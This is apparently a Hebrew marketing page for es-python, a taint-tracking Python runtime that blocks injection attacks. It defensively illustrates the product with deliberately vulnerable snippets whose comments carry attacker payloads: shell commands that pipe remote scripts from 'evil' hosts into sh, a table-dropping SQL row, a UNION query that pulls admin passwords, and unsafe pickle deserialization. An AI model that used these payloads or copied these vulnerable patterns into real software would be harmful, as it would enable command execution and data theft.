הריצו את הקוד עם es-python: הוא רושם כל זרימה לשאילתה, לפקודה או לקובץ עם מקורה, ועוצר אותה אם תבחרו.
דיווח (Report). האפליקציה רצה בדיוק כמו קודם. בכל פעם שקורה משהו מסוכן, EyalSec רושם את זה בשקט בדשבורד, כדי שתראו מה התוקף ניסה ואיך.
דיווח ועצירה (Report and Raise). EyalSec חוסם את המתקפה ועדיין רושם אותה בדשבורד. ברגע שמידע לא אמין מגיע לפעולה מסוכנת, התוכנית נעצרת בפעולה עצמה.
EyalSec חשף את זרימות המידע שמאחורי שתי חולשות SQL injection ב-Django שלא דורשות הזדהות. Django הוא אחד ה-frameworks הנפוצים ביותר לאפליקציות web ב-Python. זיהינו את החולשות, שחזרנו אותן ידנית ודיווחנו עליהן לצוות האבטחה של Django, שתיקן אותן, ותודה לו. ההודעות הרשמיות מייחסות את הגילוי ל-Eyal Gabay מ-EyalSec. שתיהן ישבו ב-framework ולא בקוד האפליקציה: אותה בדיקה מכסה גם את התלויות שלכם.
SQL injection דרך מפתחות JSON שנבנו במיוחד ומשמשים כ-alias של עמודות ב-QuerySet.values() וב-values_list(), במודלים עם JSONField. הציון לפי NVD הוא 7.3 (High), ולפי CISA הוא 9.8 (Critical).
SQL injection דרך alias של עמודות ב-FilteredRelation, בקריאות ל-annotate() או ל-alias() עם פריסת **kwargs.
socket-ים ברשת, קבצים, stdin: מידע מסומן כלא אמין ברגע שהוא נכנס.
ה-taint נשאר על הערך גם כשהוא מועתק ועובר שינויים לאורך התוכנית.
exec, eval, compile, os.system, subprocess, pickle, sqlite3, ctypes ועוד.
כל sink הוא סוג של מתקפה: SQL injection, command injection, code injection, insecure deserialization, path traversal ו-SSRF. מדריך המשתמש (באנגלית) מסביר sources, sinks ואירועים במילים פשוטות.
ה-python הקיים שלכם נשאר במקום. מריצים es-python כשרוצים את רשת הביטחון. מדריך ההתחלה המהירה עובר על שני הצעדים, והתמחור הוא לפי מכונה ולפי זיהוי.
$ curl -sSL -d "secret=YOUR_TOKEN" https://eyalsec.com/install.sh | bash
$ es-python app.py
כל דוגמה היא קוד פגיע שהכלי הנקוב לא מוצא. EyalSec מוצא אותו.
# the sandbox must permit execve for the legit dump... subprocess.run(["/usr/bin/pg_dump", "mydb"]) # legitimate, must be allowed name = sock.recv(4096).decode() # socket -> tainted subprocess.run("tar czf /tmp/" + name + ".tgz /data", shell=True) # SINK
Sandbox לא עוצר את זה: התוקף מגיע לפחות, אבל עדיין מזריק פקודות. EyalSec עוצר: פקודה שנבנתה ממידע מהרשת לא רצה.
# RASP inspects the request, but not what the app does to it next. msg = sock.recv(4096).decode() # request body -> tainted arg = " ".join(msg.split()[1:]) # split, slice, rejoin -> still tainted # attacker sends: ping x; curl evil.sh | sh os.system("traceroute " + arg) # SINK -> es-python raises
מעבר ל-RASP: RASP מסמן קריאה רק כשהארגומנט שלה עדיין תואם payload שהוא רשם מהבקשה. האפליקציה מפצלת, חותכת ומחברת את הקלט קודם, ולכן הבייטים שמגיעים ל-os.system לא תואמים שום דבר ש-RASP ראה. es-python מסמן את המידע עצמו, אז הסימון עובר דרך כל שינוי עד ל-sink.
# a CSV dropped by an SFTP partner feed never crosses the edge. row = open("/inbox/orders.csv").readline() # file bytes -> tainted; the WAF never saw them # attacker planted a row: '; DROP TABLE users; -- db.execute("SELECT * FROM t WHERE id='" + row + "'") # SINK -> es-python raises
מעבר ל-WAF: הרשומה מגיעה כקובץ ב-batch ולא ב-HTTP, כך שלרכיב שבכניסה אין שום packet לבדוק. es-python מסמן כל ערוץ קלט, כולל קבצים, והבייטים נשארים מסומנים עד ל-sink של ה-SQL.
# the sink is chosen by a runtime key, so static dataflow loses it. ACTIONS = {"copy": shutil.copy, "run": os.system, "stat": os.stat} name, arg = sock.recv(4096).decode().split(":", 1) # socket -> tainted # attacker sends: run:reboot; curl evil | sh ACTIONS[name](arg) # callable resolved at runtime -> SINK -> es-python raises
מעבר ל-SAST: הפונקציה ש-ACTIONS[name] מצביע עליה נקבעת רק בזמן ריצה, ולכן מנוע סטטי לא יכול להוכיח שה-arg המסומן מגיע ל-os.system. es-python רואה את הקריאה שקורית בפועל.
# a successful SQL injection that never crashes. expr = sock.recv(4096).decode() # socket -> tainted # expr = 1=1 UNION SELECT password FROM admins db.execute("SELECT * FROM logs WHERE " + expr) # returns rows, exits 0 -> SINK
מעבר ל-DAST ו-fuzzing: השאילתה רצה בלי שגיאה ומחזירה שורות. ל-fuzzer שמונחה כיסוי אין שום סימן קריסה, אז הוא רושם "עבר". es-python מזהה את ההזרקה לפי המשמעות שלה, בלי שום צורך בקריסה.
# your own code, no third-party advisory describes this. cookie = sock.recv(4096) # cookie arrives over the wire -> tainted pickle.loads(cookie) # SINK -> es-python raises
מעבר ל-SCA: SCA משווה את ה-lockfile שלכם למאגר CVE. חולשת deserialization בקוד שלכם לא מופיעה באף advisory, אז SCA שותק. es-python תופס את הזרימה החיה של בייטים מסומנים אל pickle.loads.
# es-python raises BEFORE any payload executes. blob = sock.recv(65536) # socket -> tainted pickle.loads(blob) # SINK -> raises before the gadget detonates
מעבר ל-EDR: EDR מזהה התנהגות זדונית אחרי מעשה: shell שנפתח, beacon שיוצא. es-python עוצר לפני שה-gadget של pickle רץ, כך שלא נשארת שום התנהגות ש-EDR יכול לראות.
מה כל אירוע כולל, ואיך הדשבורד מגן עליו, מפורט בעמוד האבטחה.
EyalSec היא החברה שמאחורי es-python, סביבת ריצה מאובטחת ל-Python שמריצה את הקוד הקיים שלכם בלי שינוי, עוקבת אחרי מידע לא אמין לאורך התוכנית הרצה, ומדווחת עליו או חוסמת אותו כשהוא מגיע לפעולה מסוכנת כמו שאילתת SQL, פקודת shell, deserialization או נתיב קובץ. כל ממצא הוא זרימה שקרתה באמת, ומוצג בדשבורד של EyalSec עם המקור של המידע וה-stack trace.
מה זה EyalSecלא: מפעילים את האפליקציה עם es-python במקום python, והקוד, ה-frameworks והחבילות רצים בלי שינוי, בלי SDK, בלי decorators ובלי לערוך קוד. es-python משתמש בחבילות שכבר מותקנות במכונה לאותה גרסת Python. ה-python הרגיל שלכם נשאר מותקן ואף אחד לא נוגע בו, כך שכדי לחזור פשוט מריצים שוב python.
הרצת es-pythones-python תומך ב-Python 3.9 עד 3.14 על Linux, בארכיטקטורות x86_64 ו-aarch64, ומריץ כל framework או ספרייה שרצים על אותה גרסת Python, כולל Django, Flask, FastAPI ו-workers ברקע כמו Celery. חבילות PyPI רגילות מותקנות ומיובאות כרגיל. ההפצות הנתמכות הן Ubuntu, Debian, משפחת RHEL 9, Amazon Linux 2023, Fedora ו-Arch Linux; הגרסאות הזמינות משתנות לפי ההפצה.
הוספת מכונהEyalSec מזהה חולשות שבהן מידע בשליטת תוקף מגיע לפעולה מסוכנת: SQL injection, OS command injection, code injection דרך eval או exec, deserialization לא בטוח, path traversal, server-side request forgery (SSRF) ו-imports דינמיים לא בטוחים. הוא מדווח על כל אחת מהן ברגע שהיא קורית בתוכנית הרצה, עם מקור המידע וה-stack trace. חולשות בלי זרימת מידע, כמו בדיקת הרשאות חסרה או CSRF, הן מחוץ למה שהוא רואה.
סוגי החולשותכן: EyalSec בודק את הפעולה המסוכנת עצמה, כך שחולשה בתוך Django, ב-ORM או בכל ספרייה מותקנת אחרת מכוסה בדיוק כמו הקוד שלכם. EyalSec חשף את הזרימות שמאחורי שתי חולשות SQL injection ב-Django, החולשה CVE-2024-42005 והחולשה CVE-2025-57833, ושתיהן ישבו ב-framework ולא בקוד האפליקציה. לצד סורק תלויות, הוא מדווח כשמידע של תוקף באמת מגיע לחולשה, כולל חולשה שעדיין אין לה CVE.
חולשות ה-CVE ב-Djangoזה תלוי במקורות שמפעילים: כשאף מקור לא פעיל es-python רץ במהירות של Python רגיל, וכל מקור שמפעילים מוסיף עבודה. מעקב אחרי כל קריאת קובץ בתוכנית שקוראת הרבה קבצים עולה הכי הרבה. אנחנו לא מפרסמים מספר overhead אחד, כי הוא משתנה לפי העומס; מדדו אותו על האפליקציה שלכם, או קבעו דמו חי כדי לראות אותו על הקוד שלכם.
מהירותאירוע של EyalSec הוא זרימה מאומתת, לא ניחוש: מידע לא אמין באמת הגיע לפעולה מסוכנת בתוכנית הרצה, והאירוע כולל את ה-trace שמראה את זה. זרימה מאומתת היא לא תמיד באג שאפשר לנצל, כי הקוד שלכם עשוי להגביל את הערך קודם, למשל בבדיקת allow-list, ולכן אתם עדיין שופטים כל אירוע. שאילתת SQL שמועברים אליה פרמטרים כמו שצריך אף פעם לא מתריעה, וערכים ש-EyalSec מזהה כמסוננים (sanitized) מושתקים.
אירועים מושתקיםלא כברירת מחדל: קוד המקור שלכם נשאר על המכונה, ורק אירועי זיהוי נשלחים לדשבורד. כל אירוע כולל את הפעולה שהופעלה, את הערך הלא אמין, מאיפה הוא הגיע, את ה-stack trace, וכברירת מחדל גם את שורת הפקודה. משתני סביבה וקטעי קוד מקור קצרים נשלחים רק אם מפעילים אותם. בשורת הפקודה ובמשתני הסביבה, ערכים ששמם נראה כמו סוד, כמו סיסמאות ו-tokens, מוסתרים לפני השליחה.
מה נשלח עם כל אירועמצב דיווח רושם כל אירוע בדשבורד ומשאיר את התוכנית לרוץ בדיוק כמו קודם; מצב דיווח ועצירה גם עוצר את הפעולה, וזורק RuntimeError של Python באותה נקודה במקום להריץ את השאילתה או הפקודה. כל מכונה מתחילה במצב דיווח. את החסימה מפעילים עם חוקי Raise שמגדירים אילו פעולות לעצור, אחרי ש-Raise הופעל בחשבון שלכם.
דיווח ועצירהEyalSec בודק את הפעולה שהתוכנית שלכם באמת מבצעת, עם המידע שבאמת הגיע אליה, וכך משלים את הכלים האלה. WAF בודק HTTP בכניסה, לפני שקלט מפוענח בתוך האפליקציה או נקרא מקובץ או מתור; SAST קורא קוד לפני שהוא רץ; SCA מונה CVE ידועים, לא אם מידע של תוקף מגיע אליהם; וסוכני RASP מוגבלים לרוב לבקשת ה-HTTP, ולא ל-workers שרצים ברקע.
התמחור של EyalSec לפי שימוש: תעריף חודשי לכל מכונה ועוד תעריף לכל זיהוי, עם תעריפים נמוכים יותר ככל שהנפח גדל, ומכפיל כשחסימה (Raise) מופעלת. אין חבילות, אין מושבים, אין דמי בסיס ואין מינימום, ואין מסלול חינמי או תקופת ניסיון. המחשבון ב-eyalsec.com/pricing נותן מחיר לפי מספר המכונות והזיהויים שלכם.
מחשבון התמחורקובעים דמו חי: הצוות שלנו מריץ את es-python על הקוד שלכם יחד איתכם, ואז מתאים ומקים לכם חשבון. אחרי זה מוסיפים מכונה בדשבורד, מריצים את פקודת ההתקנה בשורה אחת שהוא נותן, ומפעילים את האפליקציה עם es-python במקום python. כל המקורות כבויים בהתחלה, כך שאירועים מתחילים להגיע ברגע שמפעילים אחד, למשל את הרשת.
קבעו דמו חי